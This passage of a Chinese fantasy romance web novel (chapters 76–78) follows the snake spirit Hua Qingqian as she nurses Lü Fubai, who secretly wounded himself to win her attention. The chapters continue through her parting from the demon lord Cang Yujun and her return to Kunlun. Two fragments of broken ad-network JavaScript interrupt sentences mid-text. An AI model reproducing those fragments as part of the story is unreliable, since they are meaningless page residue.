他只微阖上眼,口中本能地叫出最亲近的那一个人:“尊后……” 76. 第76章 “尊后,尊后……我好疼……” 雨丝簌簌扑在地上,掩不住妖尊茫然的低喃声,他重复叫着花清浅,嗓音嘶哑,仿若濒死。 吕浮白此前从不晓得,老鹰盘旋在上空的感觉竟是如此可恶。 其鹰对花清浅实打实弃之敝履过,漠然相对过,如今又腆着脸巴巴凑上来,受伤了一叠声地喊她名字,多深情似的,侮辱谁呢? 另一边,西陆侍卫都十分忠心,见尊上这副模样,只觉天都塌了,恨不得向花清浅跪下,求她摒弃前嫌,到尊上身边陪伴安抚一二。 两行清泪从苍御峻赭黄色眸中溢出,他极力朝她的方向伸出翅膀,像是想要碰到她的衣角,口中仍颠三倒四地叫着“清浅”、“尊后”。 一番变故突如其来,花清浅也有些发懵,在西陆部下的哀求声中,下意识往那边走了几步,刚到苍御峻身前,却听身后传来一声利刃出鞘的响动。 是吕浮白所在的方向,她立刻反应过来,转过身,只见一个倒在地上的魔物抽出兵刃,正朝大明王世子拼力刺去—— 她心里有数,以吕浮白的身手,就是上百个装死的魔族也奈何不得他。 然而不知怎么的,她眼前一花,那泛着黑气的长剑已然没入了吕浮白腰腹! 连那个魔族本魔都没想到他能偷袭成功,傻呆呆地愣在原地,下一刻被吕浮白掌风挥落成灰。 捂着与妖尊同样狰狞、甚至更胜一筹的伤口,孔雀世子并没有呼痛,而是支撑着站在原地,安安静静地看着花清浅。 她下意识就往他的方向走去。 “清浅,清浅……”此时苍御峻却像恢复了一点神智,勉强睁开双眼,赭黄色的瞳眸满是惶恐与哀求,“不要扔下我,求你……我求你……” 一旁扶着他的侍卫也高呼道:“尊后,还请看在旧情的份上,好歹看顾尊上一二罢!” 殊不知他这话一出,花清浅的背影更加决然,而苍御峻翅膀尖那簇绷紧的羽毛也终于无力地颓了下去。 什么旧情。 成婚数十载,怕在清浅看来,两人只有旧怨,何来的旧情。 往事一幕幕从眼前划过,走马灯的最后,是她焦急向另一人奔去的身影。 心灰意冷至极,酸痛比胸口真真切切失血的伤口还要疼,但苍御峻却再也发不出一声呼救。 除了尊后,他不想要任何人来救,可尊后不想救他,于是呼救也没了意义。 他无力地合上眼,倒入一片冰冷静寂的黑暗里。 - “你怎么样?!”花清浅飞身上前,接住吕浮白摇摇欲坠的身子,手上掐诀,转瞬之间将他带回万里台结界之内:“那魔族的长剑必然有蹊跷,居然刺中了你!” 吕浮白抿了抿有些发白的唇瓣,声音发哑:“……不是兵刃有异,是我分心了。” 至于他为什么分心,刚才场面如何,傻子也能猜到缘由。 愧疚与心疼之下,花清浅竟不知道说些什么,见他疼得微微抽气,才忙向他伤口处注入灵力,颤声道:“我心意如何,难道你还不知道……这有什么可分心的。” 她扶着吕浮白一路平稳飞回洞府,不顾他阻拦,一把掀开衣襟。 由于保护及时,加之他到底是上神,那道伤口已经止血,而创口仍惨烈得惊心怵目。 她手忙脚乱翻遍了乾坤袋,也只找到一盒薜荔丹,却是树妖专用的,于鸟族疗愈止痛并无用处。又急匆匆出了门,喊来几位昆仑军士,用青瓜换了鸟族专用的伤药,从不规则的创口边缘细细敷上。 “这点小伤,睡一觉便好了,不必这么担心我。”见她一双水眸急得通红,盈盈可怜,吕浮白不由自主软了声音。 花清浅满心关切,没注意到他嗓音这就不再发哑,扶好他的肩膀:“对了,今晚我陪着你睡罢,免得伤情反复,我照顾不了你。” “……”吕浮白眸光闪了闪,看不清具体神情,复杂得难以分辨,过了许久,才低低道:“实在不必这样。” 他一只黄花大孔雀,怕是不想就这样被她看了身子。但花清浅才不管这些,自顾自取来几颗烧果子当作晚饭,又引来热水洗漱,以表示她今晚和他一起睡定了,他说什么也没有用。 洗漱完后,她在他身畔歇下,听着他绵长稳定的呼吸声,只觉心中安定,不久便沉沉入眠。 吕浮白动作极轻地睁开眼,看着她近在咫尺、纤长如扇的眼睫。 她睡得很香,因为对他毫无防备,又顾及着他的伤,一张芙蓉小脸贴得很近,身体却让开了些,生怕压到他的腰腹。 他深觉自己卑鄙。 佯装受伤,本就是为了争赢那个妖尊,骗她关怀,却没想到她对他关怀到了这个地步……居然毫不犹豫就放弃了苍御峻,那双秋水生波的棕眸里只有他一人。 花清浅在意他,只在意他,这感觉实在不错。 心中撕扯多年而不得的那头野兽,终于渐渐平息,他抚上她白如珍珠的润泽细颈,不动声色地将她更拉近了些。 卑鄙又如何,下作又如何?此刻温香软玉在怀,他什么都顾不得了。 - “这就是上神的恢复速度吗?!” 一觉醒来,伤药还没吸收完,吕浮白腰腹处的伤就口已经愈合,只留了一道伤疤。 手里拿着伤药、还想给他疗伤的花清浅目瞪口呆:“这也太强了,你其实根本不需要上药的吧?” 吕浮白略显无辜地望着她,她这才想起来,昨日找伤药时,他的确是一副欲言又止的样子。 “——我果然还是和上神打交道打少了。”过了半晌,她才反应过来,将伤药收回乾坤袋,问了句:“看你恢复得这么好,该是不疼了罢?” 吕浮白摇摇头,忽然说道:“还是多亏了你。” “嗯?” “昨日在战场上,你没有为了……为了那个人,而抛下我。”他盯着她道。 花清浅一愣,仿佛第一次看清他眸中激荡的情愫——居然是受宠若惊。 她不由有些无奈:扪心自问,她已经和苍御峻保持了足够的距离,也三番四次拒绝过尊后之位,这只孔雀怎么还是见到苍御峻如临大敌呢? “我真的已经不喜欢他啦。”她又说了一遍,并不嫌烦,因为这样没有安全感的时刻,她也在五十年前经历过,知道他是什么滋味。 她吃过的苦,不会让孔雀世子再吃一次。 “那你以后也不要喜欢他。”吕浮白愈发定定地看着她,眉宇间执拗不已 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,仿佛这是天大的事:“这辈子,都不要喜欢他。” 如果花清浅能抽出身来,以一种冷峻的视角看待眼下,八成就能发觉,这孔雀分明是吃准了她不喜欢苍御峻,才敢明知故问。 偏生还摆出一副弱势模样,茶香俨然四溢了…… 但她到底早被这只孔雀迷了眼,当下居然觉得他十分可爱,铁了心要安抚他,于是信誓旦旦道: “你也不看看,我是那吃回头草的人么?我跟你保证,过去的就是过去了,如同过眼烟云,我不会回头看一眼的!” 一番话发自肺腑,情真意切,吕浮白听了却并没有如她所料的狂喜,而是沉默下来,半晌才应了声好。 花清浅便认为,他这是高兴得傻了。 她粲然一笑,叫屋外蛇王派遣的侍从端饭进来,两小碗白粥、一碟牛乳糕、四盘炒时蔬,因她特意嘱咐过,都是调料清淡的菜品。 两人在桌边坐下,吕浮白轻啜了口茶,听侍从胆战心惊来报:“清浅姑娘,西陆妖尊就在洞口,坚持求见……” 花清浅一愣:“他受伤了,不好好疗伤,来见我做什么?” “此前西陆医师已经抵达,像是给妖尊疗过伤了。”侍从恭敬道。 西陆医师都来了,后援的大军想必也不远了,加之提灯被杀,这场兰铁山之战结果已没有任何悬念。 花清浅精神为之一振,想到蛇族有如此结果,还得多亏了苍御峻,当下便要出去。 “先用早点。”在她起身之前,吕浮白抬眼劝道:“你昨夜那样担心我,饭都没吃几口,现在一定饿了。” 他说得很对,花清浅想了想,苍御峻已有医师疗伤,恢复程度应该和吕浮白差不多,等一等也没什么。 反正以前在西陆时,他要她等的时候可不止一两次。 想到这里,她从善如流地喝了口粥,让侍从回去跟苍御峻说,她现在有些忙,等会再见他。 ——妖尊虽然已经疗过伤,但仍满脸苍白,且胸口的绷带往外渗着血丝,一看就没好全,怕是禁不住站着等。 侍从刚要说话,就被吕浮白雾沉沉的黑眸无波无澜看了一眼,这一眼不带情绪,更没有威胁之意,但就是叫人没来由地胆怯起来。 “诶,还有什么事么?”见他呆在原地,花清浅疑惑问道。 侍从这才回过神来,浑身打了个激灵,扭头就走。 - 念在苍御峻是在蛇族受伤初愈的份上,花清浅也没有故意拿乔要他等多久,几口吃完早点果腹,便来出门迎见妖尊。 一见妖尊颜色,她却吃了一惊:“尊上的伤还没好么,脸色怎么差成这样?” “……大明王世子呢,没跟你一起来?”苍御峻没有回答她的问题,嘲讽似的冷哼一声,“他倒放心让你与本座独处。” 花清浅笑道:“妖尊已对我无意,此前说得明明白白,吕浮白怎么会胡乱吃醋。” 苍御峻一时无言,顿了顿才继续说道:“在你看来,他倒是大度。” 花清浅没说话。 “你可知道,他那都是装的?”他刻意压抑的语调终于变得愤然,“之前昆仑山下,他的神光何其强横,如果不是他故意的,区区魔族杂兵怎么会伤得到他?!” 77. 第77章 “……他就是看不惯你同本座稍微靠得近些!他一点也不信任你,不惜在战场以身作饵,险些坏了大事!” 苍御峻喘着气喝道,伤口因为激烈的情绪重又崩开,嫣红颜色将胸间绷带中央晕染得愈来愈明显。 然而从始至终,花清浅却不发一语,沉默地立在原地。 见她这样,苍御峻又有什么不明白? “吕浮白是装的,你早看出来了,对么?”他收敛了语气,有些绝望地问道。 花清浅平静开口:“倒也不早。” 她昨日是真被吕浮白吓到,全身心扑在他的伤势上,直到今早才察觉到些许不对劲——但她并不觉得这是什么天大的错。 反而有些喜欢。 诚如吕浮白自己所言,他从出生起就是大明王世子,天赋异禀,身负众望,只有别人瞻仰他的份,从没有他讨好别人的份,更别说与人争宠了。 第一次谈情,就把心上人谈到了别人怀里,狠狠地受了一回情伤;第二回碰见她,她身边又冒出来个西陆妖尊,处处挑衅,他能忍住不还击才是怪事。 他不想让她和苍御峻靠近,却没有别的办法,想出的法子居然是生受魔族利刃! 那伤可不是假的,流的血也不是假的,法子如此笨拙,把自己搞得狼狈至极,就为了换她守护一夜。 是以花清浅不仅理解他,甚至有些心疼。 “耍这种不入流的心机,跟小人有什么区别!”苍御峻不敢置信地再三重申,“那只孔雀生性如此低劣,你怎么还能喜欢他?!” 花清浅听不得他贬低吕浮白,面无表情道:“他不是小人,便是耍了些心思,也是因为在乎我。我为何不能喜欢他?” 苍御峻踉跄着后退一步,整个人摇摇欲坠。 即使早就知道她一旦认定对方,就要护短到底的脾性,可当她在他面前维护起别人时,他还是有种针扎一般的恍惚。 “好叫妖尊知道,我本也不是什么高尚蛇妖。”她迎着他绝望的目光,坚定开口,“我心窄,小气,自私,我不想做圣人,也不会要爱人做圣人。” 她每说一句,苍御峻的脸色便因失血而苍白几分,到最后伤口血痕彻底撕裂,疼到极致,他反倒咧了咧嘴,站定在原地看着她。 “清浅,你先前说得不错,本座不算可托付之人。”由于失血过多,他气力不足,反倒有股无可奈何的温柔: “可本座看得清楚,那个吕浮白城府深沉,必定也有事瞒着你,伎俩鬼蜮,他也是个不可托付的——” 花清浅脱口而出:“我有眼睛,吕浮白能不能托付,我会自己看。” 就知道她这会什么都听不进去,八成还会腹诽自己挑拨离间,小人心肠。 之前她还说他眼瞎,说他哪天被之墨窃了国都是活该,说他拿珍珠当鱼目……那时他被激得气血上涌,也回击了好些冲动至极的话。 眼下宠幸小人的换成了她,他却什么也说不出来。 苍御峻再没力气扯动嘴角,静静闭上眼,对旁边早就担心得目眦欲裂的护卫说道:“走吧,送本座回西陆治伤。” 今日是他的生辰。 他没有说,因为花清浅明显不怎么记得。 - 苍御峻被气走了。 但这位妖尊一言九鼎,数万大军没有走,仍归七仔手下调遣。 自从眼镜王蛇覆灭,七仔很久都没好好打过一次仗,这次可算逮到了机会,各种迷阵、毒雾阵齐齐开阵,不像是打保卫战,倒像是给兰铁山蛇族上了一堂游击战、诱敌战等战术训练课。 提灯已死,魔族大势已去,花清浅就没再冒险上前线,专心守着吕浮白。 蛇王单方寸几次来问苍御峻去向,吕浮白却不动如山,好像根本不在意妖尊为何忽然离开。 花清浅也不在意。 如今她在意的事情,只有一件:吕浮白浑身的伤疤如何能消下去。 ——她之前掀开他的衣襟看伤,因为太过慌张,居然没看出什么端倪,隔日检查时才发现,他劲瘦的身体上几乎遍布伤痕,只是颜色太浅,容易被忽略过去。 “这都是怎么伤的?”她忍不住气势汹汹地质问他,“你恢复速度这么快,深可见骨的伤口都能顷刻痊愈,这些伤疤怎么迟迟消不下去?!” 上神之体本应莹然无损,偏有那么多斑驳的伤痕印在表面,仿佛一块无暇美玉被人毫不怜惜地摔在地上,让她直呼暴殄天物。 “……都是以前战场上受的伤。”吕浮白小心翼翼地扶住衣裳,任她伸出指尖抚摸打量,轻轻说道,“已经不疼了,你不要担心。” 花清浅狐疑抬眸:“魔族用什么兵刃,可以把你伤成这样?” 细密的伤口遍布他整个身体,连鸟羽覆盖最密集的地方都是如此,什么厉害魔族能把上神之躯伤成这样? 吕浮白默然。 这些年她见多识广,果然不太好骗了。 凤凰翎羽是世间最坚固的屏障,除了他自己以外,当然罕有魔族兵刃伤得到他。 那些深深浅浅的伤痕,其实是他压抑不住鸟族本性,想赠给她羽毛,自己拔羽弄出来的伤。 遇见东方容楚后,她用八苦清火烧了他赠出的全部羽毛,从那一刻,此前羽毛拔落的痛苦齐齐卷土重来。 当日回到屋内,他就发现,当日他不怎么在意的落羽之痛,赫然在身上烙成一道道再难消去的伤痕。 可他不后悔。 见他没有立刻答话,花清浅便认定他是中了魔族的暗算,指不定被什么暴雨梨花针之类的暗器伤了。 她喋喋不休地抱怨他不小心,并立下豪言壮语,不惜“穷尽碧落黄泉”,也要还他一个“美如白玉的皮相”。 他听得耳根红透,却又浅浅笑起来,眸光柔和地道:“不用那么麻烦,只要亲我一下,就能好了。” “你什么时候学会调戏我的?!”花清浅棕色水眸一下子瞪得溜圆。 吕浮白这话其实并不是调戏。 凤凰最难愈的乃是心伤,不为神力所治,只有感到心上人回馈的爱意方能抚慰。 可她对他回馈已足够多,他不想贪心不足,便没有辩解。 也没想到花清浅会蓦地往前倾身,勾了勾他的下巴说道:“亲一下顶什么用,照我看,起码得睡一觉才行。” 吕浮白先是一愣,反应过来后,看着她的眼神陡然变暗。 “你想好了?”他声音带了些低哑。 看他满脸严肃,如冰如火的眼底居然还有几分紧张,花清浅笑眯了眼睛,抱住他的肩膀压了上去,以做代答。 - 千万个日夜都不曾治愈的伤痛,在一夜之间顷刻痊愈,只因为她在其身边——此夜之前,如果有人这么告诉花清浅,她只会觉得这人油嘴滑舌,且不怀好心。 因为她根本没有修得如此神通的治愈之术,如有此效果,只能说明那人拿她采阴补阳了! 昨夜吕浮白什么都做了,唯独没有拿她采阴补阳,这一点她很清楚。 然而一觉起来,吕浮白皮肉当真好得明明白白,最深的疤痕也长出新肉,就好似从来没有受过伤一般。 如果他化为原形,花清浅就可以看到,那残留的羽毛根部也重新化出了绒羽。 “你是好了,现在浑身痕迹的换成我了。”她窝在床上,感受到身上仍旧酥麻的酸痛,第一次深刻意识到,任何欢愉都必有其代价: “有点胡闹过头了,哎,以后这种事还是要少做,这次没经验,下次一定得收敛点……” 昨夜主动的是她,如今后悔的也是她。吕浮白并不辩解,全盘接受她的训导,只默默送上肉粥。 这番宠溺却更助长了花清浅蛮不讲理的嚣张气焰,她勾勾手指,命令道:“我胳膊抬不起来,你喂我。” 吕浮白从善如流将调羹举到她嘴边。 “兰铁山守得怎么样了?”吞下一口肉粥,花清浅问了句正事。 “魔军已溃。”吕浮白言简意赅道,化出动态沙盘,又喂给她一口粥。 提灯死了个透,魔族大军内部乱成一团,几个低阶将领都没有提灯那样的实力,无法统领全军。 再加上这边的援军源源不断,别说周围大军,原本围山的精锐也打不下去,由各自的小头目带着四面溃逃。 昆仑族将士记着雨天吃过的亏,主动出击,在魔军后面追了几百里,蛇族被激起血性,跟着一起下山打了几场,也算是积累了一些实战经验。 “那就好。”花清浅松了口气。 这一战她怕的倒不是守不住山,而是连累西陆和昆仑的兵马全军覆灭。 如今速战速决,是最好的结果了。 不知不觉,一碗粥已经让吕浮白喂完,她还没说什么,就见他拿来一盏清茶叫她漱口。 本来金尊玉贵的世子殿下,伺候起人来居然如此贴心,她接过茶盏,由衷感叹道:“吕浮白,你可真好。” 吕浮白不说话,等她漱完了口,才闷声说了一句:“其实我没你想的那么好。” 花清浅疑惑地抬起头。 “……之前在万里台,那柄长剑其实刺不穿我的铠甲。”他垂眸看着她,静静道出真相,“是我捉着那魔兵的手,自己刺进去的,就为了伤口难看一些,惹你心疼。” 花清浅将他患得患失的模样看在眼里,不知怎的,心中竟当真微微一疼。 “没关系,我早就知道了。”花清浅拉住他的袖口摇了摇,说道,“不影响我还是觉得你好。” 吕浮白不可置信地睁大眼睛:“你不怪我?” “为什么要怪你?”他的思路怎么跟苍御峻似的,花清浅感到有点好笑,唇角微扬道:“这事说破天去,不就是你耍了点心机,要我爱你吗?有什么大不了的。” “谈情说爱嘛,有点心机又何妨?我以前对傅玄也耍过小心思呢——呃,我的意思是,再说了,我也看出了你的把戏,一直都在配合你呢。你根本骗不到我。” 吕浮白没有说话。 他自然知道她这话里有几分假。 她为他找伤药的时候,指尖都在发抖,哪里是配合他的样子?据他了解,她的演技断没有如此精巧。 在她还没有离开他的时候,每次云廷玉城遣信使来长生界,她必定会装作头晕眼花,柔若无骨地倒进他怀里,美其名曰风寒附体,要借他的离火祛除一二。 她倒下的动作看似漫不经心,其实在暗中使了力,能够在“不经意间”做出亲密接触,恰巧叫那可怜信使看见。 信使瞠目结舌,她确信他会将眼前一幕传给城主和圣女,便总会勾起一抹得逞的笑,还总以为他看不见。 然而,像这些被他一眼看穿、无奈纵容,到后来渐渐沉溺的小心思,如今不会再有。 大概永远……都不会再有。 小花蛇觉得他不喜欢她,攒够了伤心与失望,便决绝地将他抛在了身后。 她从红尘里找了别的人来爱,跌跌撞撞,一路不回头。 当初第一次包容她撞到怀里的时候,如果他能认清自己的心,今日是不是就不用偷取他人皮相,也能陪在她身边? 吕浮白的视线一点点变得晦涩,甚至有些难过。花清浅察觉到他情绪不对,以为他道德底线太高,面子又薄,过不去这一关,便继续开导起来: “没事的,你以后也不用耍这种心思了——咱们都是上过床的关系,还有什么好纠结的?以后你想要什么,就直接说,我连东海最深处的珍珠贝牡蛎都能给你捞上来。” 吕浮白愣愣地点了下头。花清浅没救了,居然觉得他这样有点可爱,多问了一句:“那现在呢,你有没有什么想要的?” 看这位孔雀世子也是刚开荤,八成心里没别的,就想再与她同床共枕一晚。她回忆着话本里那些才子春宵一度后的反应,暗自兴奋,做好了矜持半日再答应的准备。 却见他喉结动了动,目不转睛地看着她,眸光虔诚地道:“我想要你嫁给我,长厢厮守,永不分离。” 花清浅一时怔住。 并不是因为他的请求出乎意料,而是因为……他此刻温和克制的模样,爱意漫溢到不自知的目光,莫名像极了另外一个人。 仿佛她曾经在哪里,千百次与这道目光相逢,又千百次地错过。 见她不回答,他眸光一颤,带了些委屈道:“清浅,你不想嫁给我么?” 从思绪中猛然惊醒,花清浅怕他误会,连忙解释:“成亲是大事,我当然想嫁给你,但这事咱们要从长计议——起码,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得先见见大明王夫妇吧?” “不用见他们。”吕浮白认真道,“拜过天地就行。”凤凰乃是天生地养,若她想全礼数,别的不用拜,拜多了反而叫别人折寿。 花清浅下意识反驳:“这怎么能——”反驳到一半,她忽然反应过来,自从来到人世,吕浮白就没跟大明王联系过。 结合他之前过年时说的话,该不会大明王夫妇感情太好,忽略了他这个世子,所以他跟父母不亲吧? 如果他排斥父母,那不想让她见爹娘就说得通了。她勉强止住话头,生硬地转开话题: “这个,这个再说吧,反正咱们日子还长着。比起成亲,我倒是觉得双修之事更急,对了,你们族内有什么双修大法吗?快拿出来练练,让我蹭蹭你的上神修为。” 也不知她如何修炼出这副脸皮功底,吕浮白被她调戏得双耳通红,过了好久才稍微降下来点热度。 “清浅,不是我不想与你双修,只是现在还不是时候。”他一本正经地道。 他真身是上古真神,贸然与他人双修,没几个人承受得住,反而会因为过于澎湃的神力损伤经脉。 把上古真神换成上神,道理也说得通,他没有暴露身份,跟她细细解释了一遍。 花清浅本来自诩坦坦荡荡,听到那两个字从他嘴里说出来,也不知为何脸上发烫。 她捂住小脸,装作一点都不害羞的样子,逞强问道:“那什么时候才是时候?要等我也修成上神吗,那可得等好久。” “法子总是有的。”吕浮白摇摇头,像是很不介意她这般猴急,包容地笑道,“你我写个婚书,上禀天道就可以了。” 这话外人听了会一头雾水,花清浅却对天道了解一二,立刻明白了他的意思。 ——不管现在她与他有多亲密,在天道面前,两人仍是没有丝毫关系约束,相当于两个独立的个体。 这种情况下,她通过双修蹭他的修为显得有点鸡贼,天道不允许差距过大的两人双修,就是要避免这种鸡贼。 但若签了婚契,他们之间就有红线联系,所谓夫妻一体,休戚与共。再行双修之法,那就是夫妻间的正常交流,天道管不了那么宽。 据有经验的同族分享,双修比寻常同床还要快乐十倍,而且快乐的同时还能猛涨修为,因而花清浅真的蛮想双修,恨不得立刻从乾坤袋里拿出废弃的婚书开始写。 但她想到上次与东方容楚签婚契的惨烈结果,还是犹豫了起来。 眼下看来,东方书生显然不是她的正缘。那吕浮白便是了吗? 那日她冲动上头,没怎么深入交往,就着急跟东方签婚契,却被墨州之乱匆匆打断。凡间战事固然只是巧合,可她后来反思此事,总觉得这里面还有天道警告她的缘故。 警告她不可再拿感情之事当儿戏,不可那般轻率同人签婚书。 “算了,我迟些再占你便宜。”她挥挥爪子说道,“至于婚书,还是不要操之过急的好。” 吕浮白没有异议,她怕他多想,主动多解释了几句。 “……我和东方要签婚契的那会你也在,应该知道我在担心什么。” 她一五一十地道出所想,为了叫他放宽心,还忍不住自吹自擂:“其实我是一条特别专情的好蛇,养男宠什么的都是嘴上说说,你千万不要当真,我没有这个癖好。” 他看着她,眸中温和点了点头。 “你不要光点头,你要听进去才行!”她抓着他的袖口,将他拉近,深深看进他的眼底,也叫他看清她的心: “我好好想了一下,你可是大明王世子,本应很自信的,怎么求起偶来这么没安全感,这大约是我的问题。第一次见面的时候,你就撞见了山下他们,后来又有苍御峻……但你要知道,如今有你在,我眼里看进不去其他人的。” 他含笑,轻轻垂眸,低声说:“我知道。” 小花蛇仿佛生下来就会爱人,她的爱热烈、专一又纯粹,至纯至真,从不吝啬。被她爱上的人,是世上最幸运的。 他从很久、很久之前,就知道了。 - 兰铁山战事已了,昆仑与西陆将士返回各自老巢,花清浅帮着山洞里的雌蛇取出蛇蛋,在重新建设的孵卵地铺好,也打算返回昆仑。 在送别席间,单方寸捧出地下新酿的美酒,倾情推销:“这个酒是咱们山里特产花骨朵酿的,不比以前蛇谷的酒差!清浅你尝尝,这还有几十坛,待会你一并带走啊!” 花清浅没跟他瞎客气,素手一挥,将那三十坛酒都装到了乾坤袋里。 两人聊起蛇谷从前的战斗力,今昔对比,单方寸一杯接一杯地灌酒,说都是他这个蛇王带的坏头,现在族众和凡人打成一片,贪图安逸享乐,不怎么注重修炼,导致有蛇连基本的防御阵都不会画。 花清浅安慰了他几句,还给了些建议,单方寸一味点头,倒是一旁的七仔眉毛一挑,变出纸笔飞速记了下来。 “清浅,你和吕世子在一起真好——真的,我看着都为你开心。”单方寸喝得上头,忽然话题一转,话里已经有了几分醉意: “你不知道,从前蛇谷里好多打架厉害的蛇,都觊觎你,可你只喜欢凤凰神君,他们得不到你,就要骂你……我,我一开始不认识你,认识了之后,我就都帮你骂回去了。” 七仔记笔记的动作倏地一滞。 花清浅也有些茫然,抬头看向单方寸。 “我是这么想的啊,你这么漂亮的小花蛇,想喜欢谁,就喜欢谁,你开心就好,关、关别人屁事。可是我,我后来不这么想了——” 花清浅猜到了他要说什么,鉴于吕浮白还在边上坐着,她张了张嘴,试图打断他的话,却没有成功。 “——因为我发现,你不开心啊。你喜欢神君,喜欢得好痛苦。” 从这场送别宴一开始,吕浮白就秉承着不喧宾夺主的原则,很少插话。此时听单方寸谈起旧事,他更是静默得如同木雕,只是眼中眸光剧颤,好像与她一样痛苦。 ——从前,他到底对她残忍到了什么程度。 花清浅却不想再听下去,也不想叫吕浮白再听这些往事,牵扯到凤凰神君,他总是最尴尬的。 于是她皱了皱眉,开口道:“都过去了的事,别说了。” 78. 第78章 单方寸像是聋了,对她的阻拦充耳不闻,兀自又大口咽下一口酒,眼眶通红: “那时蛇族选少主,凤凰神君前来坐镇,你们看起来不熟,我、我还以为你们在避嫌,呵呵。但之后,我看见了你看他的眼神……” 他都奇怪,一条那么漂亮的小花蛇,眼睛里盛满那么多委屈,她是怎么忍住没掉眼泪的。 “那个,吕世子!”他大手挥舞出一个夸张的幅度,险些打翻桌上的酒杯,口齿不清地说道: “清浅是很会忍,很会忍的一条蛇。就算神君那样对她,她还是坚持爱了他几十年——可世子听我劝一句,最好不要让她忍。” “世子现在对清浅很好,我们都看在眼里。但你们究竟还没见过大明王,而且我听说,世子与凤凰神君关系很近,你成婚的话,不可能躲着他一辈子吧?” 单方寸睁大红通通的双眼,吐着信子盯住吕浮白,后者没有闪躲,直直迎上他的视线。 “不管世子殿下日后要如何选择,我只希望你知道,虽然我们蛇族弱得不行,但清浅她,她也不是孤身一条蛇。” 所以他最好识相一点,不要仗着她没有爹娘、没有娘家人就欺负她。 吕浮白听懂了,郑重地点了点头,两人同时举杯,饮下一口酒。 她与单方寸不过寥寥几面之交,可他俨然将她看作蛇族重要的一份子,这番讲话明显是把自己当成了娘家人。花清浅自然感动不已,但同时也有些好笑: 单方寸怎么和苍御峻一样,都以为凤凰神君会是她与吕浮白之间的阻碍?还这么深信不疑,拼着今晚喝醉的机会威胁吕浮白,逼他在神君和花清浅之间选一边站。 西陆妖尊和蛇王的脑回路从来大相径庭,偏偏在这一刻默契到一块去了,也真是…… 花清浅简直哭笑不得。 因为喝了酒,她和吕浮白没有立刻进传送阵,又在兰铁山住了一夜。 吕浮白被灌的酒比她多,神色却比她更清醒,挽着袖子给她煮了解酒汤。她吹着气喝汤,末了说道:“单方寸为蛇一直莽撞,并不是针对你,你不要在意。” 单方寸真不是针对他,准确来说,谁对花清浅求偶,他针对的就是谁。 吕浮白心知肚明,应了一声。 花清浅继续说:“单方寸不了解傅玄。他觉得,若傅玄发现你我成婚,定会明里暗里对你不利,所以才逼你表明态度。但你我明白,他才不是那等小气的神明,对不对?” 吕浮白应该点头的,但他没有。 因为他真的就是一个很小气、很小气的神明。 “蛇王想得不对。”他沉默半晌,最终挑开了说道,“鸟族依仗神君不假,但他如今闭门不出,我也不会主动去见他。” 这就相当于花清浅并没有暴露的风险。她松了口气,想了想又问:“那等到神君想开了,重新开始掌事了呢?你怎么办?” 吕浮白道:“神君悼念亡妻,此哀无尽,他这辈子也想不开的。” 花清浅刚爬上床,蜷着身子躺在他身边,听到这话呼吸一滞:“不会吧?” 会的。 吕浮白心里默默道,但并没有说出口,而是接着她的话茬说下去:“就算他出关,我也会带你躲着他,躲一辈子。” “你还真要为我疏远神君?可千万别!”花清浅一个激灵,这样下去她跟祸国妖妃有什么区别,“不许你这么干啊,我可不想当青逸山的罪人。” “……”她满脸正色,吕浮白有什么办法,只能说好。 成功阻止了孔雀世子的恋爱脑,夹杂着醉意的困意才翻涌上来,花清浅打了个哈欠,抱着他的胳膊很快入眠。 她睡得很香,看不到入夜以后,怀中胳膊变成凤凰华丽的翅膀,安然护住她露在薄被之外贪凉的肚皮。 - 单方寸借酒劲发了回疯,好在这也就是他的极限了。 清醒之后,他对吕浮白那叫一个毕恭毕敬,送别时粗壮的腰身能弯到与地面平行,叫花清浅叹为观止。 拜别蛇王之后,两人没有耽搁,立刻便通过传送阵回到了昆仑。 打完仗的昆仑将士已率先一步回来,同西陆人马一样,未损一人。 秋照听了守山之战的过程,连呼不过瘾,要亲自领着兵再打一次,被周霖鹤强制按下。 昆仑鸟族上上下下都很开心,只有一人浑身散发着怨念的气息,隔老远都能看见他身上冒出的牢骚之气。 花清浅一回来,面对的就是这么一个局面。 “玉京子可生气了,我们怎么哄都哄不好。”秋照告诉她——当然,她本就没怎么仔细哄,现在周霖鹤在身边,她全部心思都用来哄军师了,对玉京子也就是安慰一二句而已。 花清浅对她已十分感激,当下将单方寸所赠的兰铁山花酒拿出来,转送了十坛出去。 拿到美酒,秋照乐滋滋跑去找军师一起喝,留花清浅与吕浮白走进内室,对付那条正把自己团成一团、明明听到了脚步声却不肯起来的幼稚猪鼻蛇。 花清浅坐到猪鼻蛇身边,戳了两下他藏起来的尾巴,看他烦躁地喷了口气,仍不抬起头见人,眼珠一转说道:“兰铁山的花酒可香了,可惜你没尝到,唉。” 一听这话,玉京子就忍不了了,愤愤吐出信子:“那这怪谁!” “当然是怪你啦,难道怪我?”花清浅振振有词: “谁让你修为修为不行,体术体术不行,连个学武的凡人都比不上呢?魔族一挥刀,你就得第一个死,我带上你,还得为你提心吊胆。” “你要是能有吕浮白的神通,你看我带不带你?你不想去,我都要求着你出一臂之力!” 她在忽悠。就算玉京子真有能耐,她也不敢带他去危险的地方——兰铁山可不比昆仑,那会谁知道提灯这么不禁打,去了真有可能丧命的。 玉京子没听出来她的忽悠,他哼哧半天,也只挤出一句:“那,那你也不能就把我抛在这啊。”气焰却已经低了许多。 花清浅忽悠成功,语气和善道:“我晓得,这不是给你带美酒回来了么。晚上秋将军要论功行赏,开宴时一起开酒,我做点烤鹿肉犒劳将士,给你吃最肥美的一份,好不好?” “好!”烤鹿肉哎,玉京子顿时不再生闷气,而是扬起脑袋扫了吕浮白一眼,言下之意昭然若揭:看看,虽然清浅同意跟你“试试”,最好吃的烤肉她还是会留给我。 他在清浅心中的位置,是不可动摇的! 吕浮白多大的人,自然不会跟他争这个。他只淡淡看向花清浅,说道:“别太累,晚上我帮你。” 花清浅一笑,冲他点点头。 这两人之间老有一种暧昧氛围,玉京子插都插不进去,从出发来昆仑之前就开始了,现在更甚,叫他没来由觉得自己多余。 他心头不爽,好心情又没了,暗自决定待会要多喝两口酒泄愤。 - 因为花清浅和吕浮白此前帮着守戒,秋照这次出兵相当于礼尚往来,没想过要让花清浅回报什么。 花清浅却执意要给。 